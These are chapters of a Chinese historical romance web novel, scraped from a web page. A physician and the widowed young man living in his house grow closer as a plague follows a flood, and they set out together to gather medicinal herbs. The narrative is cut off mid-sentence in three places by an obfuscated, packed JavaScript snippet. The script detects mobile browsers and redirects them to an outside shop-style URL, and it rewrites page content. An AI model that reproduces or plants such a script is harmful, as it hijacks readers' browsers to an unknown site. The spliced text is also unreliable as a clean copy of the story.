其实邬秋面色如常,并不像昨夜那样,脸红得像绽开的桃花。只是雷铤故意这样说了来逗他,看着邬秋紧张得直拽衣角,又忙止住笑,说点别的把话岔开。反复敷了几回,直到药彻底放凉了,雷铤这才说好了。邬秋暗暗松了口气,只怕再呆下去整个人要熟了,才转身要走,雷铤又给了他一个镂空雕花银香球:“这里装的是沉香丸,睡觉时挂在帐子里或放在枕边,可以安神的。夏日天太热,夜间容易睡不好,你用用这个,看看可能好些。” 邬秋双手接了,凑在鼻子前闻闻,果真是一缕极纯的木香,他没有推辞,一面揣了,一面道谢:“多谢大哥挂念。” 他很想说,其实未必是天热的缘故。不过略一犹豫,还是没敢说出口。 10. 要不要离开 雷铤倒没再跟邬秋提昨夜的事,而且真的拿了本《千字文》出来,没有病人的时候便一字一字交邬秋认字,给他讲其中的意思。又拿了一叠子草纸,让邬秋拿笔先随意写画,练习握笔的姿势。 这两日医馆忙碌,两人忙里偷闲,学不上两字就得扔下手头的东西,雷铤去诊治病人,邬秋去帮忙,至晚间还有一家来请郎中,雷铤又带了雷栎出去,等他再回来时,家里已经用过了晚饭。刘娘子把给他俩留的饭热了,两人便就在灶间的小桌坐了,草草吃一口完事。 雷铤余光早瞥见邬秋在院子里转悠,便让雷栎先吃,自己去后头打水洗了把脸,又拿了酒杯酒壶回来,坐下慢慢吃着。 雷栎早饿了,三口两口把饭扒拉得差不多,看见雷铤拿着酒回来,扒饭的动作一顿:“大哥还要喝酒吗?” 雷铤点点头:“偶尔少喝些,解解乏罢了。你若吃饱了就去吧,不用在这陪着。” 他平时很少喝酒,只不过逢年过节喝点助助兴,再不就有时陪雷迅喝两盅。雷栎有点疑惑,但也没多想。他吃完出去,又看见邬秋在院里,忙过来问好:“秋哥哥好。” 邬秋摸摸他的头:“今日辛苦。崔郎君煮了山楂水,叫我告诉你晚上喝些,别积了食。你大哥还在里面么?” 他这是明知故问,但雷栎还是很配合地点了点头:“是,秋哥哥找他?他刚拿了酒壶来,恐怕还得等一会儿才能吃完。” 邬秋笑道:“没有什么大事,不过是问两句话,我进去找他就是了。” 雷栎在外头站了一会儿,眼看着雷铤拉过一把椅子,让邬秋挨着自己坐了,不禁摇了摇头。他总有预感,邬郎君与自家大哥的缘分,恐怕还长着呢。 邬秋在雷铤身边坐下,替他把桌上剩下的菜往面前放了放:“这么晚了还饮酒吗?平日从不见你上酒楼,也没见过你在家里小酌,还以为大哥不好这一口呢。” 雷铤斟了一盅,淡淡的酒香在空气中弥散开。他眼望着邬秋,笑道:“平时确实不大喝的。还以为你会来劝我。” 邬秋摸着有道菜不大热了,正琢磨着要不要再拿去上锅热一遭,闻言眨眨眼,倒显得有几分俏皮:“劝什么?” 雷铤说:“劝我少喝,或者不许喝。” 邬秋撇撇嘴:“我哪里敢管大哥呢——再说,你自己定是有分寸的。累了一天,少喝点倒也能消解疲乏。我在村子里的时候,有时农忙时节帮人家做活,一天干下来也会自己偷偷喝点,晚上便睡得可熟了。” 雷铤挑了挑眉:“你若想管,便管得。” 他这话太亲昵,邬秋早羞红了脸,忙把话岔开:“这酒冷不冷,我去帮你烫一烫吧。” 雷铤只说不必,端起酒盅凑在唇边慢慢喝着。邬秋就坐在旁边同他说话,他的声音不大,轻轻软软地飘进人耳朵里,有时候笑起来,更是如同柳絮落在耳中,只叫人心都跟着痒起来。雷铤不时应和着他的话,只觉得这一天的乏累渐渐消了。说来也奇怪,邬秋同他说的明明也不是什么稀罕事,不过就是医馆一天的琐事、往来的病人、街坊邻居之类,却有种别样的新鲜感。雷铤听着,心里忍不住就想,若是往后余生皆有这样的晚上,该是如何美满,夫复何求。 不过,邬秋毕竟是个寡夫郎。雷铤自然不介意这个,只怕邬秋心里存着什么芥蒂,便想拿话试试,正琢磨着该如何开口,却听邬秋先说道:“眼瞧着又是半年过去了,大哥可还不为婚姻大事着急吗?” 雷铤心里一动,面上却没带出来,只笑着摇摇头:“檀儿也不是没同你讲过,若是急,也不会等到这个岁数还不娶亲了。” 邬秋低了头,一只手缩在袖子里,暗暗攥着雷铤给他的帕子:“我只知道大哥想找个情投意合的人,这样的人,若是一辈子也等不到,你还会等吗?” 雷铤将杯中残酒一饮而尽:“其实未必会等一辈子,说不准已经找到了呢。” 邬秋抬起眼:“已经找到了么?” 雷铤看着他笑:“也许吧。遇到了这样的人,不管他是什么样的家世,有什么样的过往——我只看重我们的情谊的。” 邬秋点头一笑:“那……祝大哥早日娶得心上人吧。也不知我走之前可还有没有福气喝大哥一杯喜酒呢。” 雷铤猛地抬起头来,微微皱眉:“你要走?” 邬秋把心里的酸胀忍下来,且装出轻松的样子:“我又不是永宁城的人,承蒙大哥救我,可总不能一直白住在这里,等大水退了,自然还是要走的。过些日子我和我娘得了闲,再多绣些绣品出去卖,到时……那些钱……” 他想说那些钱就算作房费,可话没说完,因为雷铤一把握住了他的肩膀,后半句没说完的话被生生咽了回去。 雷铤的眼里竟闪过一丝近乎哀求的神色,邬秋从未见过他这样神情,不觉也呆住了,只听他低声问道:“你当真不明白?” 邬秋恐人看见倒不好,想把雷铤的手推下去,但他的手一覆上去,只觉得雷铤手下力气加重,不肯松开,便保持了这个姿势不动:“什么明白不明白?我只明白有时只有情谊是不够的,当初不在意的东西,等日后新鲜劲头过了,也许就在意了。” 雷铤还要说什么,忽然听得有人说话和脚步之声,知道邬秋不愿在人前表现出来,便松了手,二人各自坐好,都不再说话。邬秋绞着帕子低头坐着,雷铤也闷闷的,又斟上了满满一杯酒。 崔南山从外头走进来,身后跟着雷迅。他只顾着回身说话,一回头看见雷铤和邬秋都坐在这里,倒吓了一跳。待仔细一看时,又伸手在雷铤头上敲了两下:“好呀,越大越不懂事了,这么晚了还在这里喝酒不算,还要拐了秋哥儿!秋哥儿的病刚好了,哪能饮酒呢。” 邬秋抿嘴忍笑。崔南山同他设想中的当家夫郎不太一样,他的心仿佛一直是很年轻的,有时候也会不自觉把雷铤或自己当作小孩子看。他看了雷铤一眼,后者正老老实实给崔南山解释,也忙帮着说:“大哥并没让我喝酒的,我只是路过瞧他还没用饭,进来说几句话。” 雷迅进来打过招呼便去放菜蔬的框子里翻找东西,这会儿拿了几个莲蓬回来。崔南山这才放过雷铤,看了看雷迅手里的莲蓬:“这两个还鲜嫩些,就这两个吧,那几个放回去明日煮汤喝。” 雷迅依言又放了回去。 雷铤放下酒杯:“怎么这么晚还来拿莲蓬?” 雷迅看了崔南山一眼:“还不是崔少爷,说起新鲜莲子又嘴馋,非要现在吃不可。多大的人了……” 崔南山瞪眼推了他一把,于是雷迅一笑,把话收住。崔南山又嘱咐雷铤少喝,又叮嘱邬秋也早点休息,便扯着雷迅去了。 雷铤正暗自琢磨着该怎么把方才的话继续说下去,他知道邬秋既然肯同他说要回薛家村去,便不是真的想一去了之,不然大可以等杨姝病愈后直接告辞,或是去向雷迅和崔南山辞行,没必要先在两人独处时暗暗地拿话试探自己的态度。可他虽大略知道邬秋的态度和顾虑,却也怕话说得太急,让邬秋为难,反倒不好。正在这时,忽然看到邬秋出神地托腮看着雷迅和崔南山的背影,便也不说话,默默看着他。 邬秋喃喃开口:“大哥,你能给我讲讲雷大人和崔郎君的故事吗?” 如果雷迅和崔南山能多年情谊不减,美满和乐,那他和雷铤……邬秋不觉脸红了,可还是忍不住想,他和雷铤会不会也能像这样,相敬如宾,白头偕老。 雷铤点头说好。来日方长,他总会证明他的心意。 吃罢了饭,雷铤照例送邬秋回房。两人站在屋门口,雷铤冲屋内扬了扬下巴:“快进去吧,天晚了就不要再看书了,今日辛苦,还是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周围太黑,加上邬秋全神贯注跟雷铤说话,着实没注意旁边有人,结结实实吓了一跳。细看时,却是雷檀跳出来,气鼓鼓叉着腰瞪着雷铤。再看雷铤,脸上全无意外的神情,只是含笑望着自己,便皱眉嗔怪道:“你早瞧见了是不是。” 雷铤却对雷檀道:“本来我说的也是实情,你还狡辩呢。是谁跟我保证七日内把那卷医书读完,结果日子到了又左拖一天右延一日的。” 雷檀小声咕哝:“这不是这几日太多事了,才没读完的嘛……” 雷铤知道近日着实忙碌,再说雷檀学习医术已经算是用功,只是年纪尚小,有时贪玩罢了,因此也并无责怪他之意,只说:“你这般风风火火跑出来,吓着你秋哥哥了,还不快去赔礼。” 邬秋心里本来就想着旁的事,跟雷铤单独相处时总有点隐隐的紧张感,虽然两人只是平常说话,但忽然被人看见,仍觉得不好意思。雷檀给他道歉,他笑说无妨,跟着便红了脸扭过头去不理雷铤了。雷铤忙好声好气哄道:“方才光顾着说话,确实没留意他过来,你别生气,明日晚上若得闲,你到外头书房找我,我多教你几句新的可好?” 邬秋看他一眼,小声道:“那好吧,只是下次……” 雷铤知道邬秋脸皮薄,不好意思叫人看着他俩老是在一块儿,不过今日他确实一心都在同邬秋说话,真没注意雷檀偷偷摸摸过来,等他看见时,小家伙已经跳出来要说话了,来不及提醒邬秋。现在邬秋羞得微低了头,声音低得像在耳边呢喃,雷铤只觉得心软成了一汪水,急忙向他保证:“我会留心的,不会再吓着你。” 雷檀见此情形,想悄悄溜走,被雷铤一把拎住衣领,老老实实在旁边站好:“秋哥哥夜安。” 邬秋笑对两人挥了挥手,便自己进屋去了。 雷铤看着他进去,这才低头看看雷檀:“下次不得胡闹。” 雷檀本是去前头药柜子里拿些艾草来熏蚊子,回来见雷铤和邬秋说话,便过来想打招呼。他贴着墙根儿蹭过来,正听见雷铤说他,这才跳出来。只是雷檀人虽年幼,在人情世故上却也挺伶俐。此时雷铤说他,他答应完,便背着手,把雷铤上上下下仔细打量着:“大哥又送秋哥哥回来?怎么从不见你送送我。” 雷铤说:“我瞧你活蹦乱跳,满院子乱跑,不大像是需要我送。你要是想,那我现在押你回去就是了。” 雷檀拔腿就跑:“你偏心!明天我告诉阿爹去,说你只疼秋哥哥!” 11. 瘟疫爆发了 又是两三日过去,邬秋学习识字却是几乎没有进展。倒不是他懒惰,只是实在不得闲空儿。自水灾之后,来医馆求医问药的病人就日益增多,到了这两日,似乎更多了些。城内的几家医馆药房,近来已经忙得不知怎样好。 直到夜幕降临,因为有灾情,城里暂时施行宵禁,医馆也终于可以关了大门,一日的忙碌这才算是告一段落。一家人原本在院子里乘凉,但坐了没有一刻,就各自去歇了——崔南山的腰不好,一日辛苦下来,再坐着难免吃力,雷迅便陪他回房去了;雷檀雷栎两个小的这两天也蔫了,打着哈欠进了西厢院;杨姝和刘娘子都上了年纪,这几日家中全靠她们两位操持琐事,也早早回去歇了。 邬秋也觉得乏累,起身也想回房去,却看见雷铤还在院子里。 雷铤方才就没同大家谈天,坐了张躺椅,在稍远些的位置闭了眼静静地养神。崔南山和雷迅走时叫他也早点回去歇息,他应下了,但似是图院中晚间凉快,也没立刻回东厢房中去,又合了眼靠在椅中,不再说话。 邬秋见其他人都走了雷铤还没什么动静,只怕他睡过去,被风吹了受凉,便过来轻轻推他:“大哥?可别在这风地里睡着了,若是累了,还是回房去睡吧。” 雷铤睁开眼,望着邬秋一笑:“好,我稍坐坐就回去。你赶紧去歇了吧,你的身子本就弱些。” 他看着邬秋,邬秋眼里的担忧隐藏不住,微微皱着眉,抿着嘴看他,这让雷铤没来由地心软:“明日你在屋里歇一日吧。” 邬秋摇摇头:“我不过是打个下手,虽然忙,倒不觉得累得厉害,好好睡一觉也就有精神了。倒是你,这两天我只怕你也要累病了。” 他一面说,一面走到桌前,倒了杯热水来递给雷铤:“你若是真病了,且不说这医馆离不得你,自己的身体不也遭罪么,到时候……崔郎君又免不了心疼。” 家里只有雷铤一个正值青壮之年的男子,他平时干的也比其他人更多出不少,脸上确实有掩饰不住的倦意,邬秋看着也心疼,只是他不好意思直接说,话里拐了个弯。雷铤听出弦外之音,看着他直笑,邬秋就又有点舍不得走了,想拉一把椅子在旁边坐下。雷铤怕他要一直陪自己呆着而不肯回去休息,忙主动站起来:“时候不早了,可是该回去了。” 院里有棵老槐树,医馆还没盖起时,这棵树就长在这里了。现在正是槐花落的时候,雷铤衣上沾了些落花,邬秋伸手替他拈下来,又见雷铤因为刚刚靠躺着,衣襟衣领有些乱了,便顺手替他理好。 雷铤低头看着他:“等眼下的事情了结了,我还有些别的事,想同你谈谈。” 邬秋知道他要说什么,羞得不敢抬头看他,却也没拒绝,只轻轻点点头:“嗯。” 又一阵风刮起,槐花扑簌簌落下来。两人站得很近,雷铤便将手从后面伸过来,虚护在邬秋头上,帮他挡下那些细碎的花。这个姿势像极了在抱他,邬秋虽平时多有顾虑,此刻一时情动,也想不起许多别的,不禁将身子微微贴近了些,他的手还抓着雷铤的衣襟,整个人似靠非靠贴在雷铤胸前。 成日在前头忙碌,邬秋也沾了一身药草气味,但此时离得近,雷铤还能闻到另一股幽香,与香料的气味也不相同,从邬秋身上散发出来。他忍不住低头俯身在邬秋颈侧轻轻嗅了嗅。邬秋身子一抖,也没躲开。雷铤此举与他平时的言谈举止相比是有点鲁莽,可邬秋没有生气,只是带着一丝羞怯的埋怨,在他胸口一推:“吓了我一跳。” 雷铤笑道:“是我的不是,我给你赔礼。” 邬秋抬眼看他:“我倒也……倒也没有怪你。” 雷铤另一只手已经抬起来,眼看就要搂上邬秋的腰。忽然听得医馆大门外有人啪啪啪打门,门环被叩得震天响。 此时来医馆求医,还如此急切,怕是病人情况不好。雷铤脸色微变,在邬秋肩上拍了拍以作安抚,立刻前去开门。 门一打开,只见一个少年满头是汗,身后跟着一位夜间随同的巡检。那少年见了雷铤,也顾不得许多礼节,匆匆作个揖:“大人,我阿爹方才上吐下泻,后又发热,现在已经昏迷不醒了,恐有性命之忧,还请大人去救救我阿爹吧。” 雷铤安慰那少年:“我即刻便去。”一边回头看向邬秋:“若是一会儿他们问起来,烦你替我说一声。诊完了病就回来,不用担心。大门掩上就是了,你快回去睡吧。” 邬秋方才听到敲门声,便紧跟着过来,但是没去门口,而是提前去将雷铤出诊的药箱收拾了拎出来。这会儿正好递过去,又拿起旁边的灯笼,速换了根新蜡烛点上,一并递给雷铤:“知道的,快去吧。天晚了可要留心脚下。” 他一直看着雷铤和那少年转过巷口,才重新将门关上。原本刘娘子的小儿子也在雷家做工,他的房间就在门房里,平时夜里由他来给开门。但那孩子前段时间告假去探望亲戚,结果发了大水,道路不通,他暂时回不来,所以这几天夜间门口无人照应。邬秋就自己在堂屋椅上坐了,等着雷铤回来给他开门。 雷迅他们也听到有病人来了,只是已经安歇,披衣又起来略花了点工夫。雷迅出来看时,也叫他先回去休息,说等雷铤回来敲门再说,大不了以雷铤的本事跳墙也能进来。邬秋跟着笑,摇头只说自己还不困,再坐一坐便进去,不知不觉也歪在椅子上睡着了。 邬秋再醒来,竟是被雷铤叫醒的。 原来这事之前当真发生过几次,刘娘子家的孩子岁数也不大,夜里睡得很死,没听见叩门,雷铤就在东厢院外墙根底下草丛里放了几块石砖,稍微垫在脚下便能跳进来。雷铤的神情很严肃,叫邬秋速去叫雷栎雷檀来,自己又忙着找了艾草雄黄等物。 邬秋立刻去叫人,临走前问雷铤到底出了什么事。雷铤只皱着眉摇摇头:“怕是要有大疫了。” 医馆里一时忙乱起来,众人都聚在了前头,雷迅崔南山也都起来了,听雷铤讲述方才看病的经历。原来那人家的郎君到了夜间呕吐不止,又发起高烧。此病来得凶险,雷铤去了一看,竟像是书中所载疫病发作的迹象。后来又同那家其他人谈了几句,方知道病人今日出城去探访亲友,回来不久便身上不好的。雷铤也去城外诊治过病人,也知道外面的情形,如此联系在一起,便可以确定是染上了瘟疫。 近来城外灾民的日子更不好过。有病弱而死的,要么无人收殓,席子一卷便扔在路边,要么草草掩埋,被野狗刨了骨头。又正逢夏日,蚊虫不可计数,叮了腐烂的尸骨又去叮人。灾民缺衣少食,甚至抓了老鼠来吃。官府赈灾不及,到底还是没能避免大灾之后的这场大疫。现在看来,这疫病怕是已经蔓延到永宁城中了。 莫说是雷栎雷檀这两个小的,便是雷铤,也没有真正经历过瘟疫,只在医书上见过病症。若想应对得当,还需要尽快上报官府,再与城里其他几家医馆药房的人一同商议商议对策,开出个适合的方子才行。 雷铤将事情安排好,让雷栎雷檀先去预备基本的防疫药材,又同雷迅进了书房,从架上取下几卷医书。他这几日已经隐隐有所预感,提前也找了些古方,今日一见病人的症状,又总觉得不合适,还得再想想办法,拟个新的对症的方子出来,这还需同雷迅商量着办,若能尽快找到最好,若不能,至少也要想法子稳住病人的病情。 今夜怕是有的忙了。 当然,雷铤也并没忘了邬秋。他回来时,邬秋等他等得歪在圈椅里睡着了。那时雷铤心里正着急,压着事,可一见这情形,忽然又想起当初邬秋病得奄奄一息,在自己怀里昏迷不醒的样子来,一种恐惧又从心底里萌发。他那时便暗暗发誓,绝不能再让邬秋有染上疫病的危险。 所以雷铤没有过去叫邬秋起来,而是远远喊他,不让他近自己的身。 瘟疫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091743|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最是容易传染,自己刚接触了病人,又没来得及熏艾驱除病气。邬秋本来身子刚好不久,雷铤不敢让他冒险。 雷迅他们过来之前,雷铤便让邬秋回去睡。邬秋起初也想留下,雷铤说只是商讨药方,准备药材,他前半夜也没有休息好,若是累着了则更容易生病,一定要邬秋回房去。邬秋也不愿让他再分出精力为自己担心,很顺从地点点头:“不必记挂着我,大哥也……务必小心。” 他没有多说,但是雷铤明白他的意思:“你放心。” 邬秋进屋前,雷铤在身后叫他。院中太暗,邬秋即便回头,也看不大清雷铤的脸色,只能模糊看到他站在后面不远处。但他听到了雷铤的声音,一句“多谢你一直等着我”,又叫邬秋心里更升起了一丝不舍—— 他虽然不懂医术,可也知道疫病之凶险。 邬秋躺在床上,却横竖睡不着,又拿了那条帕子出来,盖在脸上轻轻嗅着。他想,大疫初兴,只怕这两日染上的病人不可胜数,雷铤他们更要时时在外头奔忙。他甚至第一次萌生了一种私心,若是雷铤不是郎中该有多好,可以远离这样的危险。 而如此一想,更觉得雷铤很了不起,不知他会不会害怕,可无论如何,他还是要去救治那些病患,还是要点灯熬油尽力找出个方子来。 邬秋再睡不着,翻身起来,点上灯,又找了针线出来。他虽在医术上帮不上忙,总得在其他地方出一份力才好。 雷铤一夜未眠,天一亮便出了门,说是去衙门,再去另外两家医馆。那家夫郎一定不是头一个染上疫病的人,恐怕城外城里已有不少病人,还需要官府拿个主意,拨发钱款,将得了病的人集中在一起隔离开来医治。 直到午饭时候,雷铤才回到医馆,也没吃饭,回房去休息了片刻便又出来。 邬秋堵在东厢房门口等他,见他出来,两手捧着一件什么东西递过来。雷铤接过看时,却是一条像面衣一样的巾子,选了织得极细密的轻薄料子,荼白色,两边钉了带子,可以戴在脸上罩住口鼻。再细一看,一角上内侧绣着一片极小的叶子,是秋日才有的红枫叶。这条覆面巾有两三层,故此这一点鲜亮红色从外头也不大能看得出来。 雷铤轻声道:“是给我的?” 邬秋点点头:“我想那瘟疫极容易染上的,大哥在外头奔波,见病人的时候总得自己也防着些才好,就和娘一起做了几条,已经给雷大人、崔郎君还有两个弟弟都送去了,这条是给大哥的。” 虽然情势紧急,顾不得那些缱绻情长,但是邬秋怕雷铤不肯戴,还是补充道:“是我亲手做的,我想虽然男子很少戴这样的面巾,可如今情况特殊,我挑了个不怎么艳的颜色,大哥好歹戴上,也……也好免我们担心。” 雷铤手指捻着那一点枫叶:“这也是你绣的?” 邬秋红了脸:“是。大哥不喜欢吗?这个在外头看不出来的。我也不是在这时候还想着打扮取乐,只是……” 他忽然又掩口不说了。其实他昨夜也彻夜未眠,熬夜试了几次做了这面巾的样子,裁好了布,只缝出来这一条,剩下的都是早上和杨姝一起赶制的。晚上灯烛太暗,他又熬得眼酸,不妨被针扎破了指尖,一滴血落在白布上,格外显眼。他原打算天一亮就去给雷铤让他戴上,又怕拿去洗了未必能晾干,便顺手用红线绣了片枫叶上去。 红叶也是秋天才会有的东西,秋…… 邬秋藏了这一丁点私心,权当是自己陪在雷铤身边。 现在又怎么好意思告诉雷铤实情。 雷铤看着他,喉头微微一动,却没说话,当即将那面巾戴在脸上系牢,这才开口:“这是你的心意,我一定好好戴着。你们这两日别再出门,有什么要的只管告诉我,我去买就是了。不用担心我,我自有分寸” 他一面说着,一面上前一步,替邬秋将散下来的一绺头发掠到耳后。 12. 上山采药去 雷铤的指尖随着他的动作轻轻蹭过邬秋的脸颊。邬秋觉不出他的体温,只感觉到一阵令人浑身一颤的酥麻痒意。雷铤戴了面巾,挡住了下半张脸,那双露出的眼睛里却饱含笑意。 邬秋看着雷铤的眼睛,不觉又晃了神,自己呆呆地抬手摸着自己的脸不说话。 雷铤朝着邬秋所住耳房的方向扬了扬下巴:“快去吧。不必担心。” 说是不用担心,可邬秋哪里能真的放下心来。现在变成他与刘娘子和杨姝操持家中一切杂事,雷铤他们从早到晚在外头忙着。这次瘟疫发作极快,效力又强,这三四日来已经死了不少人。邬秋还听说官府已经在城边辟了个空院出来,叫城里染上疫病的百姓住到那里去治病,免得传染了其他人。 他正想着,刘娘子看着他打趣道:“秋哥儿又在发呆了,这一件衣服搓搓洗洗揉了半日,再洗可要搓出个窟窿来呢。” 这会儿刚用过早饭,刘娘子在院里洗着一家子这两日换下的衣服,杨姝带着邬秋来帮忙,又分了两盆跟着一块儿洗。邬秋一边洗一边想着雷铤他们的情况,不知不觉就走了神,同一件衣裳捏在手里翻来覆去地揉搓。 邬秋红了脸,低头一笑:“您可别笑我,我只是看着这衣服,想他们这几日救治得了疫病的病人,又有点担心。” 杨姝同意道:“这话可是了。秋儿不知道,我们村子几十年前闹过一次鼠疫,那情形现在想起来都害怕,后来朝廷派下来好些郎中,也没什么法子,染了病的人还是无药可治,可知这瘟疫是极凶险的东西了。” 刘娘子叹道:“可也不知这一次要多久才能过去,先是一场大水,淹了方圆上千里的地方,数不清有多少灾民,又来了这么场疫病。话可又说回来,亏着你们来的早,真是菩萨保佑。我瞧着他们点灯熬油熬了两天,听说其他医馆的郎中也在一起出主意,也不知道他们想出个根除这病的方子没有。” 这确是实话。这两天雷铤整夜整夜呆在书房里,翻索着医书古籍,想找个对症的方子。只是这瘟疫染上之后发作太快,先前的药方总不能及时制住病情,药性又烈,很多体弱的病人便熬不过最初最猛烈的阶段。为此雷铤着实发愁,想了好几副方子,可总不尽如人意。 况且,最近医馆的日子也过得紧了。与寻常百姓家相比,他们算是要略富裕些,就在半月前,即便那时已经有灾情,也还是能买到些新鲜菜蔬之类,偶尔还能有点瓜果尝尝鲜,现在才十几天过去,竟是再买不到了。家中虽有米面余量,却也得省着些吃。官府的救济银发放太慢,他们自己还搭进去不少银两药材,故此这些日子家中衣食皆从简便。 雷铤又不能不为了家中情形再多一重操心。 吃晚饭时,雷铤才从外头回来。邬秋细看他的神情,像是显出一丝轻松的神色来,忙问道:“可是有什么好事?是疫病的方子有进展了么?” 雷铤从怀中掏出一张纸来,引得众人一下全围上来:“正是,秋哥儿果然细心。方才顺道去了一趟药铺,同于渊又商量了一次,觉着这个方子可以一试。” 这位于渊,邬秋曾见过几次。他是药铺的少掌柜,也是精通医药,比雷铤小两岁,性子很豪爽,跟雷铤称兄道弟关系匪浅。先前他有时来医馆送药,最近这两日也忙着找药方,雷铤时常会去找他商议。今日看样子是终于鼓捣出个结果了。 雷迅正在细看那方子,看毕赞同道:“这方子的确很好,只是这芸胡草。”他伸手点了点其中一味药草:“虽不是什么珍惜药材,这个季节却也不多见,要再等上一月才好大量收集采买,药铺现成可用的怕也不够量吧。” 雷铤已经想好如何解决:“城里几家药铺的存量都不多,连带熬药试药的损耗,也用不了两天了。但是咱们城外山里就长着这药草,此时虽不是成熟的时节,也大概能找到些能用的。这一味用量不太大,药房已经派了不少人去江南采买,若能在山上找个十几斤可用的,也足够城里支撑着用些日子。” 他们过去也常常去山上采药的,倒是对此不陌生,对山上的路线也熟悉。只是有一样,最好两人同去,以便在荒山野岭有个照应。 趁着众人都不在意,雷铤抬头望着邬秋的眼睛,微微挑眉,目光里有一丝询问的意思。 上山采药并非出去游山玩水,这些病人也不能长期离了雷铤,城内的情形如此危急,此行必是时间紧、干活忙。纵是真的让邬秋同去,两人也没工夫做别的。只是雷铤藏了一点私心——他这几日实在乏累,不仅身上累,心里更累,就莫名时常会想同邬秋单独呆一会儿。 只要听他说说话便好,心里的烦闷便能消解。 而且邬秋是很能干的,过去在薛家村也能干得了农活,现在病也养好了,一同去采药的话也确实能帮得上忙。 不过雷铤拿不准邬秋是否愿意,想着怎么才能找个机会先问问他才好。不料邬秋触到他的眼神,立刻干脆地点了点头,甚至不需要他再多问。 雷铤心里有数了,同时也觉得心中积压的烦恼跟着散去了不少,周身都轻松了些。正这时崔南山问他:“这次还是叫栎儿或是檀儿同去吧?” 雷铤顺势便道:“近来病人多,走不开人,我去两三日已经要烦你们多辛苦些了。栎儿檀儿如今也顶事了,这个当口儿还是留下吧。若需要个帮手的话……秋哥儿可愿和我进山么?” 崔南山不放心邬秋的身体,又觉着叫客人出去奔忙似乎不好,再说邬秋又是个哥儿,起初不大同意:“这恐怕不好。秋哥儿的身子哪禁得住这样劳累,再说人家一个哥儿,同你一起到那荒山野地里……像什么样子。我看还是叫栎儿去吧。” 邬秋不等雷铤再开口,忙自己过去解释:“劳郎君挂念,我的病原已经好了,过去在村里也常上山打柴的,如今城里遭逢如此灾祸,我也自当出力。” 这时候邬秋也不便把话说得太过,雷铤也不方便强烈表达自己一定要邬秋同去。于是雷铤转头扫了雷檀一眼。小家伙撅撅嘴,又一副了然于心的样子,背着手摇摇头,然后换了一脸天真无邪的表情,过来摇着崔南山的胳膊,在他耳边小声说:“阿爹,秋哥哥从不托大的,他说行那就是行。现在如此紧急,救人要紧,我看有些虚礼也顾不得了。再说他们俩都是极懂礼的人,想来也不会出什么岔子吧。” 崔南山虽然仍不放心,但雷檀说得也有理,这样确实是此刻最妥当的安排,便拉着雷铤反复叮嘱,叫他一定好生照看着邬秋。 邬秋神情很郑重:“我一定好好帮大哥采回药草来,救治百姓。” 雷铤一笑:“秋哥儿也有郎中的样子了。好,我们定能找到合用的药材,早日回来。自然要越早给病人用上这方子越好,我们明日一早便动身。” 邬秋原先在薛家村时,也常上山砍柴或者采些野味,但一般的村民们都不会往深山里走,只有猎户才会去那些人迹罕至的林子里,邬秋也只到过村民多一些的山脚附近。雷铤说要想采到这种药草还需要略往深处走一走,邬秋的情绪里又多了一重隐隐的激动,第二天天还没亮就醒了,收拾好了一个随身带着的包袱便到外间来。 雷铤已经起了,看起来精神很好,正要去后院把马车赶出来。杨姝和刘娘子帮着预备了干粮,又跟着一起送他们到门口。崔南山拉着雷铤细细再三嘱咐让他看顾好邬秋,注意着安全,雷铤一一应了,两人这才启程上了路。 这会儿城门还没开,邬秋坐在后头,听雷铤下去和守城的官兵说了什么,好像还拿了官府的批文给他们看,跟着又听到城门打开时沉重的门板发出的嘎吱声。马车听了片刻,然后又重新轻快地走起来,邬秋悄悄撩起车窗上的帘子,凉爽的风扑面而来,倒不像是夏天的样子。 他把两人的包袱在座上放好,然后掀开门帘的一边。雷铤听见声音,微微侧过身子看他,轻声问:“怎么了?” 邬秋指指他旁边的空当:“我能坐过来么?” 雷铤将马勒住,先从车厢里拿了个软垫铺好,再扶着邬秋的胳膊让他坐到前头来。 两人第一次同乘一辆车是邬秋找了雷铤去大有村救杨姝的命,那时两人具是心急如焚,彼此又不熟悉,全然没有旁的心思。此时虽然也不是闲来游山玩水,但两人相处这些时日,关系已近了许多,心境自然比过去不同了。邬秋小心翼翼往雷铤身边挨了挨,雷铤嘴角扬起一丝笑意,垂眸问他:“冷不冷?这城外清晨可不比在家里,还是有些凉的。” 邬秋摇摇头,身子挨挨蹭蹭着碰到雷铤的胳膊,但是两个人都没躲开。 雷铤继续专注驾车,两眼目视前方,装作不经意的样子道:“还要走些时候,若还是困,可以再睡一会儿。今天还要辛苦一天,要走不少山路,不养足了精神可不行。” 邬秋红着脸伸手轻轻抓住了雷铤左手的衣袖:“那、那我真的睡了,你可别让我摔下去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091744|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷铤笑道:“那是自然,你安心睡吧。” 马车没停,雷铤没有让邬秋回车厢里去的意思,邬秋自己也没有这个打算,闭了眼靠在雷铤左肩上。雷铤稍微坐得松懈了些,不再那么直挺着身子,好让高度更合适。邬秋感受着雷铤的体温,心跳得飞快。 